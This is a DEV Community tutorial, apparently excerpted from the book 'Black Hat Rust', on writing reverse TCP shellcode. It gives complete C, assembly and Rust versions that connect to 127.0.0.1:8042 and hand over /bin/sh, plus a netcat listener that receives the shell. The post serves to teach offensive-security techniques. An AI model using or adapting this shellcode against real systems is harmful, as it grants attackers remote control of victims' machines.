DEV Community

Sylvain Kerkour
Sylvain Kerkour

Posted on • Originally published at kerkour.com

 

Advanced shellcode in Rust

After seeing how to craft a shellcode in Rust and how to execute it, it's time to build a more advanced shellcode, in Rust too, to understand where a high-level language really shines.

A reverse TCP shellcode establishes a TCP connection to a server, spawns a shell, and forward STDIN, STOUT, and STDERR to the TCP stream. It allows an attacker with a remote exploit to take control of a machine.

This post is an excerpt from my book Black Hat Rust

Here is what it looks like in C:

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

void main() {
  int sock = socket(AF_INET, SOCK_STREAM, 0);

  struct sockaddr_in sin;
  sin.sin_family = AF_INET;
  sin.sin_port = htons(8042);

  inet_pton(AF_INET, "127.0.0.1", &sin.sin_addr.s_addr);

  connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

  dup2(sock, STDIN_FILENO);
  dup2(sock, STDOUT_FILENO);
  dup2(sock, STDERR_FILENO);

  char *argv[] = {"/bin/sh", NULL};
  execve(argv[0], argv, NULL);
}
Enter fullscreen mode Exit fullscreen mode

And here is its assembly equivalent, that I found on the internet:

xor rdx, rdx
mov rsi, 1
mov rdi, 2
mov rax, 41
syscall


push 0x0100007f ; 127.0.0.1 == 0x7f000001
mov bx, 0x6a1f ; 8042 = 0x1f6a
push bx
mov bx, 0x2
push bx

mov rsi, rsp
mov rdx, 0x10
mov rdi, rax
push rax
mov rax, 42
syscall

pop rdi
mov rsi, 2
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall

push 0x68732f
push 0x6e69622f
mov rdi, rsp
xor rdx, rdx
push rdx
push rdi
mov rsi, rsp
mov rax, 59
syscall
Enter fullscreen mode Exit fullscreen mode

🤯 🥴

I think I don't need further explanations about why a higher-level language is needed for advanced shellcodes.

Without further ado, let's start to port it to Rust.

First, our constants:

ch_08/reverse_tcp/src/main.rs

const PORT: u16 = 0x6A1F; // 8042
const IP: u32 = 0x0100007f; // 127.0.0.1

const SYS_DUP2: usize = 33;
const SYS_SOCKET: usize = 41;
const SYS_CONNECT: usize = 42;
const SYS_EXECVE: usize = 59;

const AF_INET: usize = 2;
const SOCK_STREAM: usize = 1;
const IPPROTO_IP: usize = 0;

const STDIN: usize = 0;
const STDOUT: usize = 1;
const STDERR: usize = 2;
Enter fullscreen mode Exit fullscreen mode

Then, the sockaddr_in struct copied from <netinet/in.h>:

#[repr(C)]
struct sockaddr_in {
    sin_family: u16,
    sin_port: u16,
    sin_addr: in_addr,
    sin_zero: [u8; 8],
}

#[repr(C)]
struct in_addr {
    s_addr: u32,
}
Enter fullscreen mode Exit fullscreen mode

And finally, logic of our program, which take some parts of the shell shellcode.

#[no_mangle]
fn _start() -> ! {
    let shell: &str = "/bin/sh\x00";
    let argv: [*const &str; 2] = [&shell, core::ptr::null()];

    let socket_addr = sockaddr_in {
        sin_family: AF_INET as u16,
        sin_port: PORT,
        sin_addr: in_addr { s_addr: IP },
        sin_zero: [0; 8], // initialize an emtpy array
    };
    let socket_addr_size = core::mem::size_of::<sockaddr_in>();

    unsafe {
        let socket_fd = syscall3(SYS_SOCKET, AF_INET, SOCK_STREAM, IPPROTO_IP);
        syscall3(
            SYS_CONNECT,
            socket_fd,
            &socket_addr as *const sockaddr_in as usize,
            socket_addr_size as usize,
        );

        syscall2(SYS_DUP2, socket_fd, STDIN);
        syscall2(SYS_DUP2, socket_fd, STDOUT);
        syscall2(SYS_DUP2, socket_fd, STDERR);

        syscall3(SYS_EXECVE, shell.as_ptr() as usize, argv.as_ptr() as usize, 0);
    };

    loop {}
}
Enter fullscreen mode Exit fullscreen mode

Way more digest, isn't it?

Let's try it:

In shell 1:

$ nc -vlnp 8042
Listening on 0.0.0.0 8042
Enter fullscreen mode Exit fullscreen mode

In shell 2:

$ make run_tcp
Enter fullscreen mode Exit fullscreen mode

And Bingo! We have our remote shell.

The code is on GitHub

As usual, you can find the code on GitHub: github.com/skerkour/black-hat-rust (please don't forget to star the repo 🙏).

Want to learn more Rust, Offensive Security and Applied Cryptography? Take a look at my book Black Hat Rust where, among other things, you will learn how to craft more advanced shellcodes with Rust.

Top comments (3)

Collapse
 
h_sifat profile image
Muhammad Sifat Hossain • Edited

Though, I'm not interested but I still clicked the like button. I feel like, posts like this doesn't get much reaction in Dev. On the contrary, someone posts: how to declare a variable in JS and they get hundreds of reactions 😔

Collapse
 
sylvainkerkour profile image
Sylvain Kerkour

🙏

Collapse
 
moopet profile image
Ben Sinclair

I don't know rust, but even with that bias, I think the C version looks easier to understand and write.

An Animated Guide to Node.js Event Loop

>> Check out this classic DEV post <<